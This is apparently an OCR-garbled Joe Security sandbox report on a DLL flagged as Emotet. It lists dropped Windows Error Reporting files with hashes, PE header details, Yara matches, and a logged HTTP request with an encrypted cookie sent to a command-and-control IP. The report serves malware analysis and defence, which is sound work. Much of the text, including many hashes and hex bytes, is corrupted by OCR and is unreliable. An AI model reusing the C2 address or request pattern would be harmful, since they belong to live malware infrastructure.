6.e...lntegratorR.ep.ortldentifier=£7489209f-a83.6.-414f-94.0d.e.-921da8.6.4.ff75..W.0w.64H.0.s.1t=34404...Wow.64.Gu.es.
t=.3.3.2...N.s.Ap.p.Nam.e.=lo.addll32. .exe..Ap.pS.e.s.s.io.nG.u.id=0.0.0.00.a.3.8.-.0.0.0.1.-0.0.1.6.-c1.1.d.-8eb.0.a.2.e.7.d.7.0.1....T.arg.etAp.p.lL
d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9...0.0.0.0.d.a.3.9.a.3.e.e.5.€.6.b.4.b.0.d.3.2.5.5.b.f.€.f.9.5.6.0.1.8.9.0.a.f.d.8.0.
7.09.!lo.addll3.2. exe..TargetAp.pV.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1060.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

46004

3.065480441846344

false
768:40HqVEKTfy622Br2k8AqqnmZBrmNhiZI+r2nY12hA1E1bnShBF:40Hofy622BrL8AqqnmZUZI+SnY12hAO4
328665A094D81CC2FCB5A0F21A7A4A19

BAF52DBF1E60DB3F75422EB5FF91C58226726C72
B588FDD79B06CF99BBOEF6650DF74AB75139E37C138C61E5CFD7C399A8715453
E05096C9B361674B2EC50E0532C6F219A7AF333AFBID41EOFAB42E980336AF89A24AC89C75DB01DA347C57CE066CIEB2FE34963FD05798C47A2DC7758C8030€

false

l.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.ro.ces.s.ld., Numb.erO.fThreads.,WorkingS.etPrivatesS.ize.,HardFaultC.o.unt,Numb.erO.fT.hreads.H.
i.g.hW.atermark.,.CycleTime.,.CreateTime.,UserTim.e.,KernelTim.e.,Bas.ePriority.,P.eakV.irtualS.ize.,V.irtua.lS.ize.,PageF.
a.u.lt.C.o.u.nt, W.orkingS.e.tS.ize.,P.eakW.orkingsSetSize.,Qu.o.taP.eakP.agedP.o.0lUsage.,QuotaP.agedP.o.0lUsage.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.olUs.ag.e..Qu.o.taN.o.n.P.a.g.e.d.P.o.olUs.ag.e.,PagefileUs.ag.e.,PeakPagefileUsage.,PrivateP.age.C.oun.
t.,.R.e.a.d.O.p.eratio.n.Co.u.nt,Write.O.p.eration.C.ou.nt,O.therO.perationcC.ount,ReadTransferCo.unt,WriteT.ransferC.o.u.
n.t.,.O.therTransfer.C.o.unt, Han.
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER13EB.tmp.txt

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 13340

Entropy (8bit):  2.6945194190417383

Encrypted: false

SSDEEP: 96:9GIZYWzBA/y4XvtYuY4WYHIYEZt9otCiB4ZLjCwqccaB3G1FVIFy3:9jZDzSZh9WH9aB3G1FqFy3

MDS5: 74498F05CEDE84291AB14EOBEEE931EC

SHA1L: 173685F447342F3CF74DF0517900C9FD57830437

SHA-256: 48F567AE55B235BB8828A703488B94D3BF1450AD46B06BD4B79C33FF8F83A978

SHA-512: E993D3E75B7CD27F18C55F404DCD1A3E297F4AEFCE52A47C1D43CA38B8B5784CEC24DEB8BFC8AEDECESDEB64BF07C34AC47BEB3D6378D1A4FE12D6A61B71
5329

Malicious: false

Preview:
B..T.imerRes.olution. ... ... ... . 1.5.6.2.5.0....B...P.@a.0.€.5..Z.8. . o 4.0.9.6.....B...N.L
m.b.e.r.O.f.P.hys.icalPages...........................1.04.83.15....B..Lowes.tPhysicalPageNumber ............................. 1.
....B..H.i.g.h.estP.hys.icalPageNumber ......................1.310.7.19...B..Allo.cationGranularity. ....... ... .. ... .. ... ... ....
.6.5.,56.3.6.....B...M.i.n.im.um.U.s.er.M.o.d.eAd.dress........ ..........6.5536...B..MaximumuUs.erModeAddress.................

.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B..Ac.tiv.e.P.ro.ces.s.orsAffinityMask ......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAAAC.tmp.dmp

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 15 streams, Thu Dec 2 17:35:22 2021, 0x1205a4 type

Category: dropped

Size (bytes): 27136

Entropy (8bit):  2.52531299843665

Encrypted: false

SSDEEP: 192:RyWPVJcAOrud9+fPh3xrgl5¢c7EIWYvxDMhNn:nV+XrudYvgrc7zWalep

MD5: 38BDD294A991B5BDA3B8SEBOAEFAE844

SHA1L: CCEE4A5D3C3A859529AB319CCFD5C9D5A28005FA

SHA-256: 3F1301C539E5E5B08400D0439CC0AF29E341E7B4878943EBAAL1C6F2BFF24F1B

SHA-512: 7AC7BEEB443629B5B9736FFDE91A99A54DD7AB15CEB2B2527ABCC69832D5851273A5FB74A99FCAD31824B46C0349747AC248D198CA61FCA7C1359ED93D8B6E
C1

Malicious: false

Preview:

L= SO T N U Bl p....

...Genuinelntelw. WTo..8.\.a). ..Pacific. .Standard. Tim.e. dme.

1.7.1.3.4..1..x8.6.fre.

s.4._releas.e..1.8.04.1.0.-.1.8.0.4..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFED.tmp.WERInternalMetadata.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 8340

Entropy (8bit): 3.6988695768145643

Encrypted: false

SSDEEP: 192:Rrl7r3GLNiRa6Xi6Y1iSUaSgmfcSzTCpBb89b7ZsfmYvpm:RrisNiM6y6YNSUaSgmfcSz17yfmT

MD5: BE78AD3D99466DD597431BDFC39696CA

SHAL: 89CC1B5COEE3D4E60D59A70DCI3A1D52FC75CF68

SHA-256: 4FEAD19B1153997839CB05A5B0CC33EDB4153B65D7DFC1D6C7432BE4985FD181

SHA-512: 05F77F2DD49B1ED429FF905551DB310597CEAA553D8040F7D613E5503C9F0C96CD4811A4BBF266D6CF07141E33A055716CD1E7954FEC0827EEE9A05D54CCEO!
A

Malicious: false

Preview:

.<?x.m.l wv.ers.ion="1..0." enc.o.ding="UTF.-16."?2>..<WERR.eportMetadata>...<0.SV.ers.io.n.lnformatio.n>. <W.i.n.d.
ow.s.N.T.V.ers.i.o.n>1.0..0.</W.indowsN.TV.ers.ion>....<Bu.ild>17134</Bu.ild>.....<Pro.du.c.t>(0x3.0.).;. W.in.d.ow.s. .1.0. .P.ro.
</.P.rodu.ct>....<Ed.ition>Profess.ional</Ed.ition>....<BuildString>17134.1.amd6.4fre.rs4._re.leas.e..1804.10.-180.4.

</.B.uild.S.tring>.....<R.ewv.is.ion>1l</R.ewv.ision>.....<Flav.or>Multipro.c.ess.or. Free</Flav.or>....<Ar.chitecture>X.6.4.</.
Arch.itecture>....<LClD>1033</LCIlD>...</0.SV.ersio.nlnformation>...<Pro.c.ess.lnformation>....<P.id>26.1.6.</P..
d>...

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB349.tmp.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 4598

Entropy (8bit): 4.471818356077874
Encrypted: false
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERB349.tmp.xml

SSDEEP: 48:cviwSD8zs+JgtWI9TDWSC8Bfs8fm8M4J2ynZFUS+q84WDeKcQlcQwQed:ulTfO4ySNjJ1BYeKkwQed

MD5: 3FF9642F2B892DFF5D70F144E42459A3

SHA1L: 030FF5B434093F22C44EAFG6FOB7B3969C4E2D1F2

SHA-256: CEDA14EB77F235A93E2923D9BFD5F7F17DB41B88E3B355A08A77C720CAC6A9ET

SHA-512: 864D41BA3EDD22B41870D97311589E22CCE2140632CAEDE9B746211DEE29B9B771973416C803CE7EF20590356EDOOF883129F92B2ADB14BCC6EF328E90B3F0C

Malicious: false

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..
<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1280326" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" I>.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD66F.tmp.dmp

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 15 streams, Thu Dec 2 17:35:33 2021, 0x1205a4 type

Category: dropped

Size (bytes): 1060132

Entropy (8bit):  1.4694068307761825

Encrypted: false

SSDEEP: 1536:xtDXsbhkymLmXp+84v4c+mWyVFZ5NH2tfB3hoBCs4Zn8xKKzfCVQ7hf:HLvymLmXEUIWTXxZ802

MD5: E3ECF4AB72BEC8ED688353E19C191F41

SHA1L: 890523D48D2C970CC46C17F79BBD75108E6E94AB

SHA-256: AOE30DBE92F994FFA1E585B18CF31418097ACCF8FDAS2EA4AFEE2FADS5CC426509

SHA-512: 26D821B57AEEDFF19CA3D4593C16F89EAD23490C7E27F63DF29B8A2FD11E558C431D5074DD9D98EF676 DDFFECAFBA8346622D3DE289668D505CFE07227590E
8

Malicious: false

Preview:

.P.a.c. ..Standard. .T.im.e.

...GenuinelntelW. .
._.releas.e.18.04.1.0.-.1.8.04..

. .8..\.a)...
1.7.1.3.4..1..x8.6.fre.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE40.tmp.WERInternalMetadata.xml|

Process: C:\Windows\SysWOW64\WerFault.exe
File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category: dropped
Size (bytes): 8300
Entropy (8bit):  3.6934115243253127
Encrypted: false
SSDEEP: 192:Rrl7r3GLNiRzg6P6YITSU6KgmML8GSoCpDv89bMZsfPPVEM:RrIsNilg6P6YMSU6KgmfLrS4MyfPx
MD5: 0375ED25232FD5816BA1A6C32E4D8C30
SHA1L: 74DCABO6EDBC31EC2FF5CF1C5E40BFA297FC79BD
SHA-256: 8AABC30F217EE33F64B81940138E2F8AFC974B039814DBCAB48B133BD31E588F
SHA-512: 9581A738AEB9CC5664DB43F00F1B3A52D804359B44F0F4FACD1AASD86247878B09F52C0421CC985E3274D42D29580FD5BDE3C7BFBB8B7C7936AFB315F828BF9
Malicious: false
Preview:
.<2?2x.ml .version="1.0." en.c.o.ding="UTF-16."?>..<WERR.eportMetadata>...<0.SV.ersio.nlnformation>....<W.ind.

ow.s.N.T.V.ers.i.o.n>10..0</WindowsNTV.ersion>....<Bu.ild>17134</Bu.ild>.....<Pro.du.c.t>(0x3.0)... Wind.ow.s. .1.0..P.r.o.
</Product>....<Edition>Profess.ional</Ed.ition>....<BuildString>17134.1.amd64fre.rs4 _releas.e.18.04.10.-18.0.4.

</B.uild.String>.....<Revision>1l</Revision>....<Flavor>M.ultipro.cess.or. Free</Flavor>....<Architecture>X64.</.
Architecture>.....<LClD>1.033</LCID>...</0.SV.ersio.nlnformation>...<Process.lnformation>....<P.id>26.16.</P..
d>....

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE268.tmp.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 4558

Entropy (8bit): 4.429864115942591

Encrypted: false

SSDEEP: 48:cviwSD8zs+JgtWI9TDWSC8Bp8fm8M4J2yGtFFe+q84tjCKcQlcQwQed:ulTf04ySNEJE4AXCKkwQed

MD5: 72F8264FEC96FC575B1B5E5B12A07146

SHAL: 9B28B40C85481FE154042C341898D2037E652C95

SHA-256: 7758F92C3E6DB4BA3B3109DFCFOD5AC6C665BCE73080C3D9909407BA08F38B00

SHA-512: 22F91988EC4CF796945B612ED67FBDD3B5B8CB008C8562274F7B65F852BC98653798F82AACE95A92B7BF7E6FD482C8AEBCB113E5724B76E4BBA42B1ESBCE43
3

Malicious: false

Copyright Joe Security LLC 2021 Page 15 of 31



C:\ProgramData\Microsoft\Windows\WER\Temp\WERE268.tmp.xml

Preview:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1280326" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0"/>.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2A7.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

46408

3.065873808938448

false
768:aNHLR3EFdibDx22KK2kSAKgnmZmrmNhFk/Sr251+imglkhGWrHYey:aNH2dibDx22KKLSAKgnmZ9k/SS51+imZ
194827815D8B2AC522E8BF66C2C6966D

385327742309D0D27C0AD42360C5F2F0A2D3B224
AB0AFIBBF112D9F55F0563750D03E758DA804B670949F8B339C6836D2442BCEC
152EA9FD85743A7D06F5EA707E8DF001C1001463A546B46EC2240911E76A90B7602E360A5C106FD88F985253B4126F586E733965CB83C174B239BF4A884A291C

false

l.m.a.g.e.N.am.e.,.U.niq.u.eP.ro.ces.s.l.d, Numb.erO.fThreads.,W.orkingS.etPrivatesS.ize.,HardFaultCount,Numb.erOfThreads.H.
i.g.h.Watermark.,.Cyc.leTim.e.,.CreateTime.,UserTime.,KernelTim.e.,Bas.e.Priority.,.PeakV.irtualS.ize.,V.irtualS.ize.,.P.ag.e.F.
a.u.lt.C.o.u.nt, W.o.rking.S.etS.ize., .P.eakW.orkingS.etSize.,.QuotaP.eakP.agedP.o.0.lUsage.,QuotaP.a.g.edP.o.0lUs.ag.e.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.0.l.Us.a.g.e.,.Q.u.0o.t.a.N.o.n.P.a.g.e.d.P.0.0lUs.a.g.e.,.P.agefileUs.ag.e., PeakP.ag.efileUs.a.g.e.,PrivateP.ag.e.C.o.un.
t.,.R.e.a.d.O.p.eratio.n.C.o.unt, Write.O.p.eratio.n.C.o.unt, Other0O.peration.C.ount, ReadTransferC.o.unt, WriteTran.s.ferC.o.u.
n.t,O.therTrans.ferCo.unt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE884.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.694315717418316

false
96:9GiZYW/LmgavzYnOYhWqHZYEZsvtCIEZCjqwfV8faueh+JXIsw3:9jZD/Qo0JLGaueh+J4sw3
OD5D9E8FOEAOD8556A705AC088B1691F
45426C44115F30140F0AF85952F2AF22AFB7B30A
2DE70BOEBDA238AD81B22398D2FC4AB4BA4FBFBCFABCC3FCC006A23110C327E1

FF40E9E20DA5A6914F418D80A1230BB8C87530AC36FA2677751E50C643AACAG2B92A1CD62EE41BAC6BDF37F859AA5AE3E372CFFF1D347B9EGDDSC6E17D670(
3C

false

B.T.imerResolution ................ ... .. 1.5.6.25.0....B.P.a.g.eSiz.e. ... ... 4.0.9.6....B...N.L
m.b.erOfPhysicalPages...........................1.0483.15....B..LowestPhysicalPageNumber ............................. 1.
...B..HighestPhysicalPageNumber ......................1.31.0.7.19...B.AllocationGranularity. ...........................
.6.5.5.3.6.....B.M.i.n.imum.Us.erMo.deAddress......... ...........656536...B.MaximumUserModeAddress.................

.1.4.0.7.3.74.88.2.89.79.1....B..Activ.eP.ro.cessorsAffinityMask. ......

C:\Windows\ServiceProfiles\LocalService\AppDatalLocal\FontCache\Fonts\Download-1.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

ASCII text, with no line terminators

dropped

55

4.306461250274409

false

3:YDQRWuUB3XfAW2fHbY:YMRI83Xt2f7Y

DCA83F08D448911A14C22EBCACC5AD57
91270525521B7FE0D986DB19747F47D34B6318AD
2B4B2D4A06044AD0OBD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9

96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FDIE9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBCOBAIFBA
A

false

{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppDatalLocal\Temp\MpCmdRun.log

Process:

File Type:

C:\Program Files\Windows Defender\MpCmdRun.exe
Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
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C:\Windows\ServiceProfiles\LocalService\AppDatalLocal\Temp\MpCmdRun.log

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

modified

7250

3.16622869479047

false
96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6WI+AbIWTEb+Ab+:cY+38+DJc+iGr+MZ+65+6tg+ECg+r
F32E205765A5EA75A7D4AD781ACDBB3BC

1E1FD988750282F2D43E60C6234EB28EBBCE7913
41F7D2CC292C077B4C108D1AA90C43D33273512442B8AAE1BE659AC4D9876B15

4D350AAB533FCFBC1DE8B0557A65772AEA14234E660A24C2A03BC85B0570DCB7AD25BB937964E57F6D260259FB5A250DEA7ED20543B3FEA58292FE9EFAB30C1
c7

false

49......... M.p.E.n.s.u.re.P.r.o.cee.s.s.M.itig.atio.n.P.olicy.. hr. .= .0x.1..W.D.E.nab.le..ERRO.R.: .MpW.D.E.nab.le(T.RUE.). faile.d. .(.8.0.0.7.
0.4.E.C))....M.p.C.m.d.R.u.n... .E.n.d. .T.im.e... .. T.huu. .. J.u.n. .. 2.7...2.0.1.9. .0.1.:.2.9.:.4.9.....-

C:\Windows\ServiceProfiles\NetworkService\AppDatalLocal\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211202_173411_162.etl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

12288

3.8215928678402555

false
96:pC/SB20+DK5Su92Z22YXmCCvI2l/SkqlP4zIT2VYFzgUMCM6JRoI5PfbMCmI5VbMJ:4/zAVOF2gzInC/XChCOCYCRCP
F56C797108F1BOEFC18279554D5F727A

EB91844C9E6B53833D7360602C1E98AABFA5763C
97EAC58D628AAD2EAD17ACIBE3DCI05F803A605283BD7178663C69AD75923D81

3AA9BE47A75CC9627CB6CF40E84976890BA5F89DF01F7D3B6395AAC1C65D41DAFEC393DBBA8677A35E5F4D02DD3DC7744CEE785841417A2ED170C27EA1993
34

false

................................................. L O B Zbi e @085 0L 20120
.............. @.tzres.dll, 211 | .>.....8.6.9.6.E.AC4.-1.2.88.-4.288.-A4EE.-49.EE43.1B.0ADJ9..C.:
AW..ndows\ServiceP.urofiles\Netw.orkS.ervicelApp.DatallLo.cal\Microso.ft\Windows\D.eliv.eryO.p.timizatio.n\Lo.gs\do
.5.v.€...2.0.2.1.1.2.0.2._.1.7.34.1.1._.1.6.2..e.tlc PP

C:\Windows\appcompat\Programs\Amcache.hve

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerfFault.exe

MS Windows registry file, NT/2000 or above

dropped

1572864

4.267634574274262

false
12288:qkoswPRnkLVsEfv4Iqg5R4AdMVYMSewOImTQACI1bPdsd+bglwSrD8WulR:xoswPRnkLvsEfv4EN9CR
ADD33C28B73DC52233D3FF5D95CA1612

BA83CA6BDC55A68281C5C06CBE878F6FA750CESC
AO004D58EEAC43B48DAA62D17E345FB918FD27CF5EE0336B8BFB38BA4C3CA5342
AD54436A5779336511D96480C92F86EC97CFBEDCAE690D1D11CA5A7B63472736143F39A79B92B126982F276D8DCF75B7978828E5F78B5D97F351CF813391DE3¢

false

.\Ap.p.Comp.at\Pro.grams\Am.c.a.c.he.hve.4

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Windows\SysWOW64\WerFault.exe

MS Windows registry file, NT/2000 or above

dropped

16384

3.053139888950346

false
192:udXJIb1ZymBsRFYV5FSE9IMgXyQVWnxuYW2odKge8mxwp4uN5J:wZI5TXQnxuf2odPmxwp4uN5J
77DEEDF0476D997DAF784E50870E7198

A3376EB61933CD8EF72FFD538C805C4B83FBOACA
706588ECDADB13CC58740EE6F11A7293EF7ECEA5E191529FF813E580CEBACS55
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C:\Windows\appcompat\Programs\Amcache.hve.LOG1

SHA-512: D2937BF45BC24AE1A249B8D22C1275A5FC4BB70C9CAE1876F14A5937B91B06872684BD14B2CE78F34DF3A8148CCD319F9ABD39AE78317C6B2F4A25B9784F5E,
8
Malicious: false
Preview:
regfQ...Q...p
;HVLE.>.....Q ...nk,.do
72fb9332c3ae}......nK .d0....ccvet e Pt Zoooiiiieieiiin Root........ If......Root....nk .do.
Y ..WritePermissionsCheck....
Static File Info
General
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows
Entropy (8bit): 7.067331172246508
TriD: e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%
e Generic Win/DOS Executable (2004/3) 0.20%
e DOS Executable Generic (2002/1) 0.20%
e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%
File name: 3p01282Kpx.dll
File size: 372736
MD5: 173345845a2a7d0d99c17bdc5445df90
SHAL: 35ed97b5ac5a3ed0fdc00eabff20f3bfcdfc8a7c
SHA256: 9ed58848f0a7b354a32d4ef67eadff70ba75f9238c39d9f1
af88fae6811ch504
SHA512: c67f4a25b4538ea45291636f4eb1c845bbe5ab68ae3297!
32f2e4bbde7f941al1eb276d5bdebe8179f412fd2e63a53
46d53890clebaeacca88c7a84bde35bdasd
SSDEEP: 6144:gRsMh9YQWtcgA70wgF7nJyt6 CQK+kIVDRjudIM
rt32fFcRmXleJXjWMmAD:cvm9YOHFLQRQKqV4epRm
XAVAD
File Content Preview: MZ....
is program cannot be run in DOS mode....$........0...Q...
Q..Q.E#.Q.E#..Q.E#.Q./$..Q..$..Q..$..Q..$..Q.
E#..Q..Q..Q..Q..Q../$...Q../$..Q..Rich.Q.........
File Icon
Icon Hash: 74f0edecccdceOed
Static PE Info
General
Entrypoint: 0x1001a401
Entrypoint Section: text
Digitally signed: false
Imagebase: 0x10000000
Subsystem: windows gui

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Copyright Joe Security LLC 2021

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DYNAMIC_BASE, NX_COMPAT

0x61A7100E [Wed Dec 1 06:02:54 2021 UTC]

0x1000c500

o o O o O O

609402ef170a35cc0e660d7d95ac10ce
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Entrypoint Preview

Data Directories

Sections

Name Virtual Address Virtual Size
text 0x1000 0x264f4
.rdata 0x28000 0x313fa
.data 0x5a000 0x1844
.pdata 0x5c000 0x66¢

.reloc 0x5d000 0x1bb0
Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

Raw Size

0x26600

0x31400

0xe00

0x800

0x1c00

HTTP Request Dependency Graph

e 45.63.5.129

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.5
kBytes

Timestamp transferred

2021-12-02 08:37:02 UTC 0

2021-12-02 08:37:03 UTC 0

Copyright Joe Security LLC 2021

Source Port
49804

Direction
ouT

Xored PE ZLIB Complexity
False 0.546620521173
False 0.822468868972
False 0.270647321429
False 0.3583984375
False 0.784598214286

Destination IP
45.63.5.129 443

Data

File Type

data

data

data

data

data

Destination Port Process

Entropy
6.29652715831

7.43227371512

2.60881097454

2.21689595795

6.62358237634

C:\Windows\SysWOWe64\rundll32.exe

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ

GET /fqwqvIpxZYjgSrhYeuylraBSZOVBNdJIZxHBzTVnNstuWavuGIHdFStXKFDN HTTP/1.1

Cookie: gKjP=1pPfMaoMdVUIKQUbAdiebE1XTzpT49WAgPCFzf9esRtAAep5gXcDMA3UcMnz2kDny2NkJIZ+XzMNPr
buwewGy7ajRk608pCIMyS/tk7KPZ1sVOCZDzij8ol0kzhAKz+cyhczW5/Qg7WStsqckEMOAI/TBhgYadzLpY 2xrkvK
aCs5ZjXU46E7u7NfI6u2+utMTe+1C5zhUB/BGEkeunoDpKbWBmM9Kwrc3B7WoAGu/IbHZZe8hOoLZILIMMnyWT3k4lh

qZ10v4dj0Q=

Host: 45.63.5.129
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 02 Dec 2021 08:37:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
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Timestamp

2021-12-02 08:37:03 UTC

kBytes

transferred Direction

0 IN

Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Data

Data Raw: 32 35 36 0d Oa 73 be ca 7a 21 48 c¢8 2b 79 4b c2 72 82 e8 dd fb b0 56 4c 47 4b a2 7c 23 1b cd 24 12 83 2b 6d
00 6f 5b 28 cc be 61 69 07 46 c1 al 5¢ €9 76 99 al 73 90 4e c2 38 17 a8 f0 d9 9e 27 6a 88 9e d3 8d 86 66 a7 d2 ab 19 f8
92 2d 8 18 1b d8 97 6a fd 74 31 92 f5 b0 c8 9d c2 36 31 b4 69 a6 e2 c6 7b fe ff c9 Oa ad Oe 10 c7 d2 78 73 00 d5 18 fb 70
e4 74 ff e6 08 2b 3b 43 1e 5f 43 1a 8a c4 84 85 01 4f 2b af 8f 37 7c 49 46 bc dd a0 5d 23 4¢c dd da 21 b8 7b 87 01 c4 2d 9b
af 3e €3 91 40 57 b4 d2 2b 1b dd a2 4a 52 94 09 e4 6f 55 b3 62 d6 a3 4e 02 05 f7 31 24 ee c2 1c b8 3c 6d 2a 0a 54 fa 54
de 9d 14 7c d6 16 ea d3 12 67 58 f4 33 33 53 ee c7 b1 Ob 2d 38 3d 1b b6 bb c2 97 d7 01 4d 54 93 14 67 cc 17 d1 08 fc d8
el 04 e9 c7 5e 22 3c e4 c3 ad 05 f7 52 cc 20 28 ab

Data Ascii: 256sz!H+yKrVLGK[#$+mo[(aiF\vsN8'jf-jt161i{xspt+;C_CO+7|IF[#L{->@W+IJRoUbN1$<m*TT|gX33S-8=MTg""
<R (

Analysis Process: loaddlI32.exe PID: 2616 Parent PID: 5360

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

09:33:16

02/12/2021

C:\Windows\System32\loaddll32.exe

true

loaddll32.exe "C:\Users\user\Desktop\3p01282Kpx.dIl"
0x1240000

893440 bytes
72FCD8FBOADC38ED9050569AD673650E

true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000000.00000000.516872338.00000000014D0000.00000040.00000010.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000000.00000000.516872338.00000000014D0000.00000040.00000010.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000000.00000000.493687779.00000000014D0000.00000040.00000010.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
